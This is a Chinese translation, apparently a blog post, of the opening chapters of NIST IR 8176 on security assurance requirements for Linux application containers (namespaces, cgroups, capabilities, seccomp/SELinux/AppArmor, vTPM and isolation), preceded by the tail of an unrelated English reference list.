[Whaley05] John Whaley, Dzintars Avots, Michael Carbin and Monica S. Lam, “Using Datalog with Binary Decision Diagrams for Program Analysis,” 3rd Asian Symposium on Programming Languages and Systems (ASPLAS), Tsukuba, Japan, 3-5 November 2005.
[Williams16] Chris Williams, “How one developer just broke Node, Babel and thousands of projects in 11 lines of JavaScript,” 23 March 2016. Available: http://www.theregister.co.uk/2016/03/23/npm_left_pad_chaos Accessed 13 October 2016.
[Woodcock09] Jim Woodcock, Peter Gorm Larsen, Juan Bicarregui and John Fitzgerald, “Formal Methods: Practice and Experience,” ACM Computing Surveys, Vol. 41, Issue 4, October 2009, pp. 1-36, https://doi.org/10.1145/1592434.1592436.
[Woodcock10] Jim Woodcock, Emine Gökçe Aydal and Rod Chapman, “The Tokeneer Experiments,” in Reflections on the Work of C.A.R. Hoare, Cliff Jones, A. W. Roscoe and Kenneth R. Wood, Eds., July 2010, Chapter 17, pp. 405-430, https://doi.org/10.1007/978-1-84882-912-1_17.
[Woody14] Carol Woody, Robert Ellison and William Nichols, “Predicting Software Assurance Using Quality and Reliability Measures,” Technical Note CMU/SEI-2014-TN-026, December 2014. Available: http://resources.sei.cmu.edu/asset_files/technicalnote/2014_004_001_428597.pdf Accessed 13 October 2016.
[Woody16] Carol Woody, private communication, 17 October 2016.
[WSA04] “Web Services Architecture,” 11 February 2004. Available: https://www.w3.org/2002/ws/arch/ Accessed 27 October 2016.
[Wu11] Yan Wu, H Siy and Robin Gandhi, “Empirical results on the study of software vulnerabilities (NIER track),” in Proc. 33rd International Conference on Software Engineering (ICSE ‘11), Honolulu, Hawaii, 21-28 May 2011, pp. 964-967, https://doi.org/10.1145/1985793.1985960.
[Yang10] Jean Yang and Chris Hawblitzel, “Safe to the last instruction: automated verification of a type-safe operating system,” in Proc. 31st ACM SIGPLAN Conference on Programming Language Design and Implementation (PLDI), 2010, pp. 99-110, https://doi.org/10.1145/1806596.1806610.
[Zhu97] Hong Zhu, Patrick A. V. Hall and John H. R. May, “Software unit test coverage and adequacy,” ACM Computing Surveys, Vol. 29, Issue 4, December 1997, pp. 366-427, https://doi.org/10.1145/267580.267590.

NIST IR 8176: 用于 Linux 应用容器部署的安全性担保要求

Thu, 25 Apr 2019 00:00:00 +0000

NIST 内部报告 8176

用于 Linux 应用容器部署的安全性担保要求

Ramaswamy Chandramouli 著

计算机安全分部，信息科技实验室

此出版物可从此处免费获得：

https://doi.org/10.6028/NIST.IR.8176

2017 年十月

美国商务部秘书 Wilbur L. Ross, Jr.

美国国家标准技术研究所 NIST 主任和标准技术商务次长 Walter Copan

美国国家标准技术研究所内部报告 8176，37 页（2017 年十月）

此文档中可能会提到某些商业实体、设备或者器材以便充分地描述某种试验程序或者概念。这样的提名的本意并非暗示 NIST 对其的推荐或认可，也非暗示这些实体、器材或者设备一定是可用于该目的之最好的。

此文档中可能会有对于 NIST 的当前正在开发中的其他出版物的引用，以便符合其被赋予的法定责任。此出版物中的信息，包括概念和方法论，可以被联邦政府机构使用，即使是在这些附带的出版物完成之前。因此，直到每部出版物完成之前，当前的要求、指导意见和过程在其所存在之处仍然有效。关于计划和迁移的目的，联邦政府机构可能想要紧密跟踪由 NIST 提供的这些新出版物的进展。

我们鼓励组织机构在公开评论期间审阅所有出版物草案，并且向 NIST 提供反馈。除了上述出版物以外，NIST 的众多计算机安全出版物可以从 https://csrc.nist.gov/publications 获取。

关于此出版物的评论可以被提交至：

美国国家标准技术研究所

收件人：计算机安全分部，信息科技实验室，办事处大道 100 号（8930 邮递点），盖瑟斯堡，马里兰州 20899-8930

邮件：NISTIR8176@nist.gov

所有评论必须在美国信息自由法（FOIA）条款下发布。

计算机系统技术报告

位于美国国家标准技术研究所（NIST）的信息科技实验室（ITL）通过为国家的测定和标准基础设施提供技术领导来提升美国经济和公众福利。ITL 通过开发测试、测试方法、参考数据、概念实现的证明以及技术分析来推进信息科技的发展及其生产性的使用。ITL 的职责包括为联邦信息系统中的国家安全相关信息以外的成本高效的安全性和隐私性开发管理、行政、技术和物理方面的标准和指导意见。

摘要

应用容器正在企业 IT 基础设施中逐渐得到采用。已有安全性指导意见和反制措施被提议以解决与应用容器平台部署相关联的安全性问题。为了对基于这些建议而实施的安全性解决方案的有效性进行评估，有必要分析这些解决方案并且对它们为实现其预期目标所必须满足的安全性担保要求进行概述。这是此文档的贡献。关注的焦点是 Linux 平台上的应用容器。

关键字

应用容器；能力；Cgroups；容器镜像；容器注册表；内核可加载模块；Linux 内核；名称空间；可信平台模块

致谢

作者对 Serban Gavrila 的技术反馈和 Isabel van Wyk 的编辑审阅表示感谢。

受众

此文档的目标受众包括企业基础设施或者用于作为总体云服务的一部分而提供容器服务的基础设施中的容器栈的系统架构师和系统管理员。

商标信息

所有注册商标或者商标属于其对应的组织机构。

执行摘要

应用容器正在生产环境中逐渐得到采用，由于下列优势：较短的开发和部署周期，通过轻量级虚拟化而实现的资源效率，以及用于所涉及的过程的自动化的工具的可用性。与此同时，在部署过程中解决安全性问题对于企业而言同等重要。为了解决这些问题，NIST 已经通过 应用容器安全性指南（Application Container Security Guide）（NIST 特别出版 800-190）一文（在此文档中被引用为 容器安全性指南）提出了安全性指导意见和反制措施。

容器安全性指南 一文标识出了针对托管容器的平台的组件以及在启动之前构建容器并且存储它们的过程所涉及的与之相关联的东西的安全性威胁。考虑到对于涉及容器的整个生态系统的总体性的安全性启示，此文档也提供了用于 6 种实体，以及通过它们实施的安全性反制措施，包括硬件、宿主操作系统（OS）、容器运行时、镜像、注册表和编排器。

为了以反制措施的形式实施这些建议，需要一种或者更多种安全性解决方案。为了使得这些安全性解决方案能够有效地实现其安全性目标，有必要分析这些安全性解决方案并且以安全性担保要求的形式详细列出它们所必须满足的度量标准。这是此文档的目标和贡献。

Linux 及其不同发行版构成了已部署的容器平台的宿主 OS 的主导组成部分。由于它们是开源产品，足够的安全性相关信息可用于分析那些可以利用 Linux 所提供的特性进行配置的安全性解决方案。因此，此文档关注的焦点是针对托管于 Linux 之上的应用容器的安全性解决方案的安全性担保要求。目标受众包括那些负责实际设计并且部署托管容器化的宿主的企业基础设施中的安全性解决方案的系统安全架构师和管理员。

第 1 章简介

应用容器正在生产环境中逐渐得到采用，由于下列优势：较短的开发和部署周期，通过轻量级虚拟化而实现的资源效率，以及用于所涉及的过程的自动化的工具的可用性。为了解决这些环境中的安全性问题，应用容器安全性指南（美国国家标准技术研究所（NIST）特别出版 800-190）[1]（在此文档的剩余部分中被引用为 容器安全性指南）一文标识出了针对托管容器的平台的组件以及在启动之前构建容器并且存储它们的过程所涉及的与之相关联的东西的安全性威胁。考虑到对于涉及容器的整个生态系统的总体性的安全性启示，容器安全性指南 一文也提供了用于 6 种实体，以及通过它们实施的安全性反制措施，包括硬件、宿主操作系统（OS）、容器运行时、镜像、注册表和编排器。

为了实施这些反制措施，需要一种或者更多种安全性解决方案。此文档讨论了能够提供反制措施所必需的功能的潜在的安全性解决方案，以及每一种安全性解决方案所应该满足的安全性担保要求的类型。这些安全性解决方案可以被宽泛地分类为：

(a) 用于提供启动过程完整性的基于硬件的可信根
(b) 使用宿主 OS 内核特性和内核可加载模块的配置选项
(c) 用于构建和存储容器镜像的保护措施
(d) 用于发布涉及多个容器和多个宿主的生产基础设施的编排器工具的配置选项

此文档的目的是在其被设计为去满足的安全性目标的上下文环境中检视每一种安全性解决方案，以及开发那些它们应该满足以使其有效的担保要求。被考虑的宿主 OS 是 Linux，由于以下原因：

(a) 其在容器栈中的广泛采用
(b) Linux 发行版是开源的，并且允许足够多的与安全相关的信息成为公共可用的

1.1 此文档的范围

容器技术栈的功能架构框图如图 1 所示。在此框图中，此栈由物理宿主（或者虚拟机（VM））、容器 OS（我们将会在此文档中将其引用为宿主 OS）、容器运行时，以及多个容器组成。此外，诸如下列任务全部由多种工具执行，并且被整合到编排器软件的整体控制之下：创建虚拟网络以便在容器宿主内部以及它们之间将容器连接起来（容器网络）、创建容器宿主集群（容器集群管理）、创建路径程序以便识别并且发现某个提供某种特定服务的特定容器（服务发现）、跨集群容器计划（容器计划），以及在不同容器内部计划特定的业务应用程序（应用程序计划）。在不同的容器宿主上将其作为容器实际启动起来之前，首先利用适当的开发工具创建一系列组件的模板，这些组件构成了一个称为容器镜像的容器。这些容器镜像被存储于容器注册表中（镜像管理）并且随后被推送至容器宿主并且利用容器运行时工具将其作为容器启动起来。容器运行时同时提供接口以用于配置宿主 OS 参数，以及与内核可加载模块相关联的设置以允许不同容器的安全部署。

如图 1 所示，安全功能层跨越了容器技术栈的所有功能层。然而，覆盖了这些层的安全性解决方案必须通过下列组件来实现：

(a) 物理宿主（即硬件，由于托管于 VM 之上的容器超出了此文档的范围）
(b) 容器 OS（宿主 OS）接口
(c) 容器运行时接口
(d) 镜像管理和注册表接口
(e) 编排器接口

运行于容器栈中的容器可以是系统容器或者应用容器。其行为类似于完整的 OS 并且运行诸如 sshd（安全会话建立）以及 syslogd（日志能力）的程序的容器称为系统容器。而仅仅运行应用程序的容器称为应用容器 [2]。此文档专注于应用容器。在分析安全性解决方案以及它们所应该满足的担保要求之前，有必要叙述应用容器的执行模型以及假想的攻击模型。首先，应用程序在容器中作为单一的操作系统进程而运行。容器拥有应用程序代码本身以及软件栈（包括二进制文件和库）的副本 [3]。在大多数情况下，此栈可以利用某种类型的库系统组装起来，从而避免需要由开发者来从头构建和配置该栈。这种快速组装的栈在不同的容器产品供应中被赋予了不同的名称（例如建构包（buildpack）、墨囊（cartridge）等）。有一些栈被用于众多的流行编程语言运行时，诸如 Java、PHP、Node.js 和 Ruby 等。对于特殊的应用程序，开发者可以创建他们自己的自定义的栈。容器架构的部署模型可能涉及在独立的容器中并行运行相同应用程序的副本，甚至是跨越不同的容器的宿主。在此场景中，基础设施可能拥有某种机制以利用某种形式的负载均衡将传入的请求分布至同一应用程序的所有实例。

此处假想的攻击模型是，容器中的应用程序代码的漏洞或者错误配置（例如此容器被配置为运行于高权限模式）已经被攻击者利用。这将会允许攻击者获得对于容器运行时以及宿主 OS 内核中的高权限代码的控制权并且对其进行攻击，在此，后者被容器中的应用程序代码信任以提供诸如进程隔离等一些保护担保 [4]。此类攻击的一个范例是重放、录制、修改和丢弃某个网络包或者文件系统访问。此文档中讨论的安全性解决方案的本意是防止对于容器运行时和宿主 OS 的此类攻击。关于解决应用程序代码本身的内在不安全特性，诸如编程 bug、设计瑕疵或者执行模型等的解决方案超出了此文档的范围。

1.2 文档结构

此文档的剩余部分被组织进下列章节和附录中：

第 2 章提供了关于不同的 Linux 内核特性（名称空间、控制组（Cgroups）、能力（Capabilities））以及内核可加载模块在为容器化的栈提供安全性中的功能的概述
第 3 章描述了用于容器环境的基于硬件的安全性解决方案
第 4 章概述了宿主 OS 保护措施以及与之相关联的担保要求
第 5 章详细呈现了若干种容器运行时配置解决方案，用以为下列事物提供容器隔离：进程、文件系统、进程间通信（IPC）以及网络。本章还呈现了关于限制资源以及保证最小化权限的解决方案。所有解决方案都得到了分析，并且还呈现了一组必须被满足的担保要求
第 6 章定义了用于构建和维护容器镜像的担保要求
第 7 章简要讨论了用于容器注册表保护的担保要求
第 8 章概述了用于编排器工具的基本安全性担保要求
第 9 章标识了某些安全性解决方案的某些不理想的副作用，以及在使用这些解决方案时需要加以注意的事项
第 10 章总结了此文档所覆盖的不同的安全性解决方案领域
附录 A 提供了此文档中所使用的首字母缩略词的定义，以及
附录 B 包含参考文献的列表

第 2 章用于 Linux 应用容器栈的安全性解决方案

在 1.1 节中，宿主 OS（在此上下文环境中为 Linux）的接口被列出为用于为容器栈实现安全性解决方案的机制。有两种类型的接口：Linux 内核接口和内核可加载模块（又称为 Linux 安全模块或者 LSM）接口。与前一类接口相关联的 Linux 内核特性包括：名称空间、Cgroups 和能力。其中，名称空间和 Cgroups 的内核特性为运行在宿主 OS 上的进程提供隔离，并且可以成为开发容器概念的驱动特性。Linux 内核特性和内核可加载模块特性中的重要功能将会在后续章节中简要描述，以便为后续章节中所分析的安全性配置和解决方案提供上下文环境。

2.1 Linux 内核特性——名称空间

名称空间将与内核全局资源相关联的标识符表和其他结构分割到独立的例程之中。因此，它们将文件系统、进程、用户、网络栈、进程间通信（IPC）对象、主机名以及其他组件分割为独立的片断。例如，每一个文件系统名称空间都拥有其自身的 root 目录以及挂载表 [2]。这些不同的名称空间可以在随后以任何频率或者组合方式捆绑起来，以便对每一个容器的资源以及随后对它们的可访问性提供统一的视图。对于容器中的某个进程的资源的限制性的视图可以被延伸到某个子进程。诸如重映射的 root 文件系统和虚拟网络设备等的配置能力属于可以利用名称空间特性而启用的安全性解决方案的一部分。对于基于名称空间的安全性解决方案的担保依赖强制实施名称空间隔离的方法，而这进一步依赖与实施了适当的访问控制的每一个名称空间相关联的那一类元数据。

名称空间概念已经扩展到通用架构以用于隔离一系列内核全局资源，而这些资源之前的范围是面向整个系统的。因此，与之相关联的 API 也已经扩展到包括若干系统调用。然而，仍然有一些资源对于名称空间并不敏感（例如设备）。

2.2 Linux 内核特性——Cgroups

控制组（Cgroups）是一种内核机制，用于为某一个或者某一组进程指定并且强制实施硬件资源限制和访问控制，其目标是防止某一个进程消耗所有可用资源并且使得宿主上的其他进程和容器没有资源可用。因此，Cgroups 在一组进程之中进行隔离并且限制一定的资源以实现对于性能或者安全性的控制。受到控制的资源包括中央处理器（CPU）份额、随机访问存储器（RAM）、网络带宽以及硬盘 I/O [5]。它也可以被用于任务控制。

由 Cgroups 提供的安全性保护包括：

(a) 防止拒绝服务攻击：它可以提供针对拒绝服务攻击的保护以防止出现诸如失控容器等情况，通过利用下列特性，诸如通过 SIGSTOP 进行任务冻结、利用 PID Cgroup 设置进程 ID 的上限以限制每个用户的最大进程数量，以及指定诸如缓冲限制以及流量优先级级别（由 iptables 强制实施）等网络控制参数
(b) 设备完整性保护：它可以通过利用基于标签的访问控制或者利用允许指定设备白名单的特性来限制对设备的访问

对 Cgroups 的配置通过挂载某个类似于 /proc 或者 /sys 的特殊 Cgroup 虚拟文件系统来启用，该文件系统允许查看名称空间和控制的状态。此机制的漏洞在于，诸如卸载或者重复挂载等攻击可能使得由 Cgroups 配置设置的资源限制失效。Cgroups 可以在容器管理框架外部进行配置和管理，由于它是完全与宿主 OS 的内核相关联的配置特性。

2.3 Linux 内核特性——能力（Capabilities）

Linux 内核中的能力特性可以帮助分割可用于 root 的广泛的权限集合，以使得进程（在此文档的上下文环境中指容器）刚好被分配给执行某个特定功能所需的权限。在引入能力特性之前，需要打开网络套接字的进程必须以 root 运行以执行这一个功能。这意味着对应的二进制文件，诸如 /bin/ping 中的一个 bug 即可能允许攻击者获得该系统上的所有 root 权限 [6]。通过启用能力 CAP_NET_RAW，某个版本的 ping 可以被创建为仅拥有由此能力所启用的权限，而非完整的 root 权限。其安全性结果是，潜在的攻击者通过利用 ping 工具的漏洞所能获得的权限显著减少。

2.4 内核可加载模块（或者称为 Linux 安全模块或者 LSM）

内核可加载模块，如同其名称所提示的那样，是加载至 Linux 内核的模块，它们提供安全功能以增强那些由名称空间、Cgroups 和能力所提供的安全功能。其范例包括 SELinux、AppArmor 和 Seccomp。SELinux 通过对进程和对象应用分类来提供对于对象访问的控制，而 AppArmor 通过对进程应用配置文件来执行相同的功能。Seccomp 允许系统调用限制规范，并且因此减少 Linux 内核的攻击面。

2.5 应用容器安全性配置过程

Linux 宿主 OS 内核特性——诸如名称空间、Cgroups 和能力——可以被撬动以便为每一个容器创建一个安全配置。众多容器运行时产品提供 API 以便为宿主内的容器创建安全配置。一种典型的容器运行时，通常是通过客户端访问的，包含直接进行系统调用的库，该库以其客户端的名义执行诸如创建所必需的内核名称空间、Cgroups 和能力管理等任务。其他管理功能可能拥有安全性启示（例如由于不均衡负载而导致缺乏可用性），诸如在宿主之间分布容器以及创建宿主集群等，可以通过一组称为编排器的工具进行管理。

第 3 章基于硬件的容器安全性解决方案

容器安全性指南 一文在其 硬件反制措施 标题之下推荐了一种始于测定/安全启动、提供经过验证的系统平台，并且构建一条植根于硬件中的信任链的可信计算模型。此信任链随后被延伸至引导程序、OS 内核，以及 OS 组件以允许对启动机制、系统镜像、容器运行时以及容器镜像进行密码学验证。为容器化的宿主实现可信平台模块（TPM）的技术解决方案在文献 [7] 中概述。此文档中将会讨论两种这样的方式，以及每一种解决方案所要求的安全性担保。

两种方式都涉及基于硬件的，或者物理的 TPM 和基于软件的 vTPM（虚拟 TPM）的组合。两种方式之间的差别在于 vTPM 在容器栈中所处的位置。3.1 节讨论了将 vTPM 置于 Linux 内核中的安全性解决方案，而 3.2 节讨论了将 vTPM 置于专用容器中的解决方案。

构建 TPM 架构并非为容器栈提供植根于硬件的信任的唯一一类方式。另一类已经被提议的方式是撬动某些 CPU 架构中的可信执行支持以保护运行于容器中的进程，防止来自同一容器栈中的来源的攻击。这包括同一栈中的高权限软件，诸如容器运行时和 OS 宿主内核 [8]。3.3 节讨论并且分析了一种基于此类方式的机制或者安全性解决方案。

3.1 宿主 OS 内核中的 vTPM——安全性担保要求

在文献 [7] 所提议的一种架构方式中，称为 vTPM（虚拟 TPM）的基于软件的模块置于 OS 内核中。为了使得此模块可用于多个容器，它需要被虚拟化。这是利用某个能够提供任意数量的基于软件的 vTPM 的内核模块而实现的，这些 vTPM 通过通常的机制暴露给容器，并且对容器用户空间呈现一个字符设备类型接口。此功能可以被实现为使得容器运行时（或者容器管理器）请求宿主 OS 内核创建一个新的 vTPM 并且将该虚拟设备指认给某个容器。这些 vTPM 被连接到托管容器栈的硬件平台中实现的 TPM（称为“物理 TPM”）。此架构方式的示意图如图 2 所示。

上文讨论的架构方式的安全性担保要求可以在下列场景中检视：

宿主 OS 完全可信：宿主 OS 中的信任可以通过利用基于硬件的，或者物理 TPM 从硬件中延伸可信根来建立。由于宿主 OS 对于防止来自容器和进程的非授权访问而言是可信的，它对于防止对于内核中的 vTPM 的非授权访问也是可信的。更进一步地，存在这样的担保，即容器不能通过加载新的模块或者利用内核中的漏洞来修改宿主内核。因此容器可以被可靠地证明为处于它们自身的状态，通过利用 vTPM 的散列值延伸特性。

宿主 OS 不完全可信，并且在 vTPM 上需要独立的信任：为了在 vTPM 上实现信任，与建立硬件 TPM（物理 TPM）信任使用相同机制的方案在文献 [7] 中引用。在物理 TPM 中，硬件平台提供商签名一个签注密钥（EK）以证明 TPM 可信。这在随后被延伸，通过赋予每个 vTPM 实例其自身的签注密钥并且部署利用基于硬件的 TPM 来签名 vTPM 的签注密钥的协议。

3.2 专用容器中的 vTPM——安全性担保要求

拥有与 3.1 节所述的相同功能的基于软件的 vTPM 被构建起来，并且托管于某个专用容器（称为 vTPM 管理容器）中。此架构方式的示意图如图 3 所示。此 vTPM 拥有两大主要特性：

(a) 对基于硬件的（物理）TPM 的访问
(b) 通过某种通讯信道将 vTPM 接口暴露给其他容器，此信道可以是本地 UNIX 域套接字或者其他 IPC 机制。如果 IPC 机制被使用，则使用 vTPM 服务的容器需要额外的软件（在图 3 中称为“适配器”），该软件将 IPC 接口呈现为标准字符设备。在托管 vTPM 的容器中，一个守护进程将会处理来自其他容器的请求，而非上一案例中的内核模块

由此架构方式提供的安全性担保与容器栈中的宿主 OS 所提供的相同。宿主 OS，诸如 Linux，通过名称空间特性为属于不同容器的进程提供隔离。如果此功能工作正确，没有属于不同容器的进程可以访问部署于专用容器中的 vTPM 的状态。换言之，这种实现的安全性只会在发生容器逃逸攻击时受到破坏。并且，此方式提供的保护少于 3.1 节所述的方式（宿主内核中的 vTPM），由于内核可以更加可靠地限制其暴露给用户空间的访问。

3.3 撬动硬件的可信执行支持

Intel 于 2015 年为其 CPU 发布了 Software Guard eXtensions（SGX）[8]，它提供了硬件机制，利用安全 enclave 的概念以保护用户层级的软件以防止高权限的系统软件的影响。enclave 页缓存（EPC）是一块受保护的物理内存区域，驻留于其中的应用程序代码和数据受到 CPU 访问控制的保护。如果 EPC 页中的代码和数据被移至 DRAM，它们立即被芯片上的内存加密引擎（MEE）加密，并且在它们被从 DRAM 中传输至 EPC 页时被解密。enclave 内存本身的完整性也是受到能够检测内存修改和回滚的机制保护的。因此，enclave 是由 SGX 为驻留于容器中的应用程序提供的可信执行环境。此技术可能于 2018 年中期可用。

第 4 章对于宿主 OS 保护的担保要求

4.1 对于通用宿主 OS 保护的要求

安装容器专用 OS（相对于通用 OS 发行版而言），保持 OS 版本最新并且安装补丁，利用能够跟踪对 OS 的匿名访问的日志特性，以及任何授权以执行高权限操作，以上这些构成了 容器安全指南 一文中的宿主 OS 反制措施的关键。除了以上这些反制措施以外，在宿主上禁用所有未使用的接口（串行或者私有接口）并且最小化用户和管理员帐户和组也是良好的 OS 安全实践。除此之外，还有诸如 grsecurity [9] 和 PaX [10] 等 Linux 专用补丁可用于 Linux 发行版。所有措施组合起来应该为宿主 OS 提供下列安全性担保：

(a) 防止通过修改内存来操纵程序执行（例如缓冲区溢出攻击）
(b) 防止对现存的程序代码进行重新路由的企图（例如通用库中的系统调用）

4.2 针对容器逃逸的宿主 OS 保护的担保要求

宿主 OS 应该被保护起来以化解源自容器逃逸或者突破的威胁，并且所有容器都应该被保护起来以防止来自宿主上的其他容器的影响。有众多解决方案可用于 Linux 环境以启用这些保护，但是，此文档中所分析的 3 种解决方案是 SELinux、AppArmor 和 Seccomp，所有这些都利用内核可加载模块（利用首字母缩略词 LKM 或者 Linux 内核模块来引用）。SELinux，或者安全增强式 Linux 可以为进程和对象（例如文件、套接字）指认分类并且基于特定的分类组合指定访问限制。例如，一个具体的 SELinux 标签可以被应用于某个容器以强制实施某种安全策略（例如，托管网络服务器的容器仅可打开 80 或者 443 端口） [6]。AppArmor 是另一款 LKM 产品，它通过对进程应用能够限制其在 Linux 能力以及文件访问层级上所拥有的权限的配置文件来帮助实施强制访问控制。因此，这些控制是以数据为中心的，并且与 SELinux 相比，位于较粗的粒度等级。SECure COMPuting（Seccomp）是一个可以定义并且强制实施某种访问控制方法的模块，该方法允许指定容器中的某个应用程序可用于同内核进行交互的系统调用的数量。限制系统调用提供了一种限制执行环境，并且因此减小了内核的攻击面。对于某个进程的系统调用的允许的列表（即白名单）和禁止的列表（即黑名单）通过利用系统调用过滤器进行设置 [11]。

上述内核可加载模块或者 LKM 的总体目标是在 Linux 中提供的标准文件层级访问控制（自主访问控制或者 DAC）的基础上为进程和用户的访问权限提供一个额外层级的安全检查 [6]。这一目标因此得出以下需要被满足的安全性担保要求：

(a) 被授权在容器中运行应用程序的用户不应该被允许访问上述内核可加载模块
(b) 如果使用 SELinux，用于标记文件及其上级文件夹的 chcon 工具应该被应用于文件系统层级结构中的正确层级，以使得这将会保证最小化权限
(c) 如果使用 Seccomp，系统调用白名单（可被允许的调用列表）和系统调用黑名单（被禁止的调用列表）都应该被生成。容器的白名单中的系统调用的选择应该基于容器中托管的应用程序类型、部署状况以及容器大小。黑名单中包括的系统调用被用于高风险、可能易受攻击、未知地危险，以及被显式地禁止的系统调用 [11]。此类中的范例包括允许加载内核模块、重启、引发挂载操作以及其他管理调用的系统调用
(d) seccomp 实现使用 Berkley 包过滤系统（BPF），并且因此其完整安装通常称为 seccomp-bpf。seccomp-bpf 允许为系统调用定义白名单和黑名单，拥有对这些调用进行参数检查的特性，以及用于获取下列任意过滤器返回值（kill、trap、trace、errno）的选项 [15]。seccomp 的最小化配置应该涉及定义具有 kill 作为其过滤器返回值的系统调用的白名单。此白名单的初始内容应该包括基本系统调用（信号处理、读取、写入、退出）。处理逻辑应该从验证架构开始（由于系统调用编号依附于架构），并且随后加载该系统调用编号并且将其与白名单进行比对。如果没有发现良好的匹配，则此进程应该被杀死。可以部署可选的 seccomp 过滤器的额外特性，它可以暂时捕获失败的系统调用并且报告它（而非立即退出）。这可以提供这样的担保，即此系统调用列表（白名单）为最终状态并且无需对其进行更改，除非其应用程序或者应用程序库发生更改
(e) 如果使用 Seccomp，由 seccomp 过滤器创建的沙盒必须不能允许使用 ptrace 命令。如果 ptrace 被允许，跟踪者可以修改此进程的系统调用以绕过过滤器，并且由此调用被阻止或者限制的系统调用
(f) 一种应该可用的最小化配置特性允许将宿主的容器分割为不同的安全域
(g) LKM 应该拥有特性以防止容器的挂载/重新挂载敏感目录以及/或者对于安全性的强制实施至关重要的特定系统目录（Cgroups、procfs、sysfs）的能力
(h) LKM 应该拥有特性以便利用上述特性的组合为容器运行时的管理员创建安全配置文件

第 5 章容器运行时配置的担保要求

如前文 2.5 节所述，用于容器的所有安全性配置参数之中，除了那些用于处理集群管理和计划的以外，都是利用容器运行时提供的 API 设置的。尽管它们中的大多数涉及 Linux 内核特性（名称空间、Cgroups、能力）以及 Linux 内核模块，这些任务被包括在本章中，由于它们是由对 Linux 宿主 OS 接口进行系统调用的容器运行时执行的。本章的总体组织如下：

(a) 5.2 节讨论了涉及 Linux 的名称空间特性的配置，它们为不同资源提供隔离
(b) 5.3 节讨论了利用 Cgroups 特性的配置，它们主要用于设置资源限制，并且由此防止拒绝服务攻击
(c) 5.4 节讨论了利用能力特性的配置，它们允许最小化权限的分配
(d) 5.5 节讨论了用于设备隔离的配置，这可以通过利用 Cgroups 和内核可加载的基于标签的强制实施模块的组合来解决
(e) 5.6 节讨论了那些可以在启动容器时进行设置，而非利用上述功能预先配置的参数

在分析这些功能之前，5.1 节概述了对于容器运行时本身的配置特性的需求。

5.1 对于安全连接的要求

容器运行时模块利用监听 Unix 套接字并且因此允许该运行时的远程管理的守护进程而实现。在特定情况下，管理组成员有可能将 Unix 套接字替换为 TCP 套接字 [10]。对此 TCP 套接字的任何连接都可能允许攻击者推送并且在高权限模式下运行任何容器，由此赋予它们对于宿主的 root 访问权限。TLS 连接的安全性担保要求涉及双方（容器运行时模块以及用于远程管理的客户端工具）在建立 TLS 会话之前对此连接的加密和认证。

5.2 对于基于隔离的配置的要求

5.2.1 容器进程隔离

对于容器而言，进程隔离是一项核心安全要求，以保证运行于不同容器以及宿主中的不同应用程序的完整性。容器环境中的进程隔离机制应该满足下列要求 [4]：

(a) 能够将运行于不同容器中的进程彼此区分开来，以及将其同运行于宿主中的进程区分开来
(b) 限制跨容器进程可视性
(c) 防止特定类型的攻击，诸如：
- (i) 运行于一个容器中的进程影响到运行于另一个容器中的进程，通过由 OS 提供的用于进程管理的接口（例如信号和中断）
- (ii) 运行于一个容器中的进程直接访问属于运行于另一个容器中的进程的内存，通过特殊系统调用（例如 ptrace() 允许调试工具连接被调试的进程的内存）

为了提供进程隔离，用到了一项称为进程 ID（PID）名称空间的 Linux 内核特性。PID 名称空间是一种用于分组进程并且控制它们发现（例如通过 proc 伪文件系统）其他进程并且与其交互（例如发送信号）的能力的机制。PID 名称空间通过 clone() 或者 unshare() 系统调用来创建，并且与一个或者更多容器相关联。首个进程具有标识符 PID 1，后续进程的标识符按顺序增加。因此 PID 名称空间的特性还提供了 PID 虚拟化。位于不同 PID 名称空间中的两个进程可能拥有相同的 PID。

5.2.2 容器文件系统隔离

文件系统隔离的目标是防止从一个容器对另一个容器以及从任何容器对宿主的文件系统对象的非法访问。文件系统是一种 OS 接口，它允许进程存储和共享数据，以及在彼此之间进行交互。容器应用程序对数据的访问由它通过文件系统挂载点对文件系统的访问决定。因此，可以通过使得文件系统挂载点列表对于容器应用程序可见并且可访问来限制对数据的访问。这是通过挂载名称空间实现的。首先，一个命名的挂载名称空间随着一系列文件系统挂载点而被创建。此挂载名称空间随后与某一个只能在这些挂载点上发现并且发出诸如 mount() 或者 unmount() 的系统调用的进程相关联。它还可以操作位于该挂载名称空间中并且可通过这些挂载点访问的文件。下列内容为文件系统隔离安全性解决方案以及它们的限制：

(a) 所有基于 Linux 的 OS 虚拟化解决方案使用一个允许容器和宿主之间的挂载隔离的 挂载名称空间，其目的是辅助对于用户和进程可见的环境的自定义。此特性不能保证容器之间的数据隔离。容器从其上一级继承文件系统挂载视图，并且能够访问文件系统的所有部分，即使每一个容器都是在一个新的挂载名称空间中创建的
(b) 用于进程的文件系统访问封闭的典型解决方案是通过 chroot() 系统调用，它将某个进程绑定到文件系统层级结构中的树状子结构中，这允许容器同宿主分享资源，通过将其挂载到在容器中可见的树状子结构中。然而，此特性不能提供存在高权限进程（例如具有 CAP_SYS_CHROOT 权限的进程）的情况下的必要保护，这些进程可以绕过 chroot 的限制，由于 chroot() 系统调用只会影响路径解析这一事实
(c) 对于文件系统对象的更好的保护可通过修改容器中的进程的 root 文件系统来提供，而非只是修改 root 目录（这是 chroot() 系统调用所允许的）[4]。这是通过 pivot_root() 系统调用启用的，它将旧的 root 文件系统的挂载点移动到新的 root 文件系统中的某个目录下，并且将新的 root 文件系统置于其中。这提供了文件系统层级的保护，由于旧的 root 文件系统可以被卸载，如果这是在容器的挂载名称空间中执行的，因此使得宿主的 root 文件系统对于容器中的进程不可访问
(d) 另一种文件系统层级的保护策略是默认禁止某个限制区域中运行的进程挂载或者卸载文件系统，并且强制实施此权限的粒度控制，利用 allow_mount* 命令的选项
(e) 另一种强化文件系统隔离的机制是为每一个容器指认一个独立的用户名称空间，这会将用户和组 ID 映射到宿主 UID 和组中的具有较少权限的范围中

由于上述每一种安全性解决方案的限制，对于文件系统的整体保护的担保要求涉及包括挂载名称空间、chroot、pivot_root 和用户名称空间的配置的组合，以用于：

利用挂载名称空间隔离挂载点
利用 chroot() 为每一个进程更改 root 目录
利用 pivot_root() 为每一个进程更改 root 文件系统的可视性
利用用户名称空间限制用户访问范围

5.2.3 容器 IPC 隔离

容器的进程间通信（IPC）隔离意味着一个容器中的进程必须被限制为仅可在同一容器内部通过特定的 IPC 简单信道进行通讯。IPC 对象（或者与之相关联的机制）可以是基于文件系统的 IPC 对象或者并非基于文件系统的。基于文件系统的 IPC 对象，诸如域套接字或者命名管道，可以利用挂载名称空间和 pivot_root 特性的组合来进行隔离（见上文 5.2.2 节），由于它们阻止进程访问其自身容器以外的文件系统路径。
